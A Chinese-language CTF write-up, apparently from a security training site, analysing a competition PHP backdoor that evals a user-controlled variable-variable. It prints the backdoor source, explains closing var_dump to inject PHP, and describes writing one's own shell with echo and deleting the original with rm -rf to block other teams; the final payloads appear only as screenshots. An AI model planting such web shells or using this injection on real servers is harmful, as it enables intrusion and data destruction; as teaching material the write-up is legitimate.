技术分享

Technology sharing

一次比赛的木马从分析到种马接着删马
2018-09-25 17:00
参加完某某国赛,对比赛木马的分析与思考。从分析到利用接着删马。
首先我们拿到题目是个sql注入通过各种姿势获得了一串字符,utf-7解码,得到木马的链接地址,访问可以得到木马的源代码。如下

<?php

show_source(__FILE__);

$a= @$_REQUEST['a'];

@eval("var_dump($$a);");

?>

我们的目的很简单,利用题目的木马写进自己的木马到别人的服务器,然后将题目提供的木马删除,这样我们就可以保证自己可以自己占据这个题目,不让别人刷分。在分析利用木马之前我们需要学习一点预备知识,如果下面的预备知识你知道的话,可以直接跳至分析部分。

预备的知识


(1)木马中出现的函数
QQ截图20180925163330.jpg
(2)中单引号双引号的区别

QQ截图20180925164140.jpg

(3)变量覆盖
QQ截图20180925164301.jpg
(4)linuxecho 写入文件命令

QQ截图20180925164346.jpg


微信图片_20180925164405.jpg


QQ截图20180925164430.jpg

微信图片_20180925164515.jpg


这样就可以将木马写入服务器了。通过上面这些操作我们已经可以将自己木马通过命令写入服务器,接下来我们如果知道木马的利用方式,让木马执行system()命令,我们就可以将木马写入服务器。

分析


首先注意到木马中eval(“var_dump($$a);”)内部是双引号,根据前面所学的知识,双引号中的变量会被解析,eval()存在变量$$a,$a用户可控,根据前面的知识综合思考下,那也就是可能我们输入的他会当做php代码执行,假设没有var_dump()函数,函数将变为eval(“$$a”),根据前面的知识我们就能够利用这个木马——我们输入的字符串,他会当成php来执行。比如a=a=phpinfo();就可以执行(在函数为eval(“$$a”))情况下,那么我们接下来的目的只需要解决var_dump()函数就行啦  

对于var_dump函数,我们可以像sql注入那样来拼接语句来讲var_dump()闭合然后放入我们自己的PHP语句。我们具体实验下我们来做个试验,源代码就是本次分析的小马源代码,payload为a=a=1);print_r(2,post发包我们先看试验结果。


微信图片_20180925164739.jpg


QQ截图20180925164936.jpg

QQ截图20180925165211.jpg


利用并写马



根据前面的分析学习我们得到最终shell的payload:

QQ截图20180925165521.jpg


在文档的最后我们要提及另一种的利用方法,其实原理差不多,这里我直把payload贴出来,小伙伴们可以自己分析一下。

QQ截图20180925165607.jpg


删马


利用自己上传的木马将原来的马删除即可。可以用菜刀,或者是rm–rf命令,这样我们就可以在独刷这一题分数



总结


木马能被利用一大部分的原因还是在于双引号中变量可以解析,如果换成单引号或者是没有符号,这个木马将很难利用





文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。







上一篇:docker简单实用教程
下一篇:论账号安全的重要性
版权所有 合天智汇信息技术有限公司 2013-2018 湘ICP备14001562号-6
Copyright © 2013-2018 Heetian Corporation, All rights reserved
4006-123-731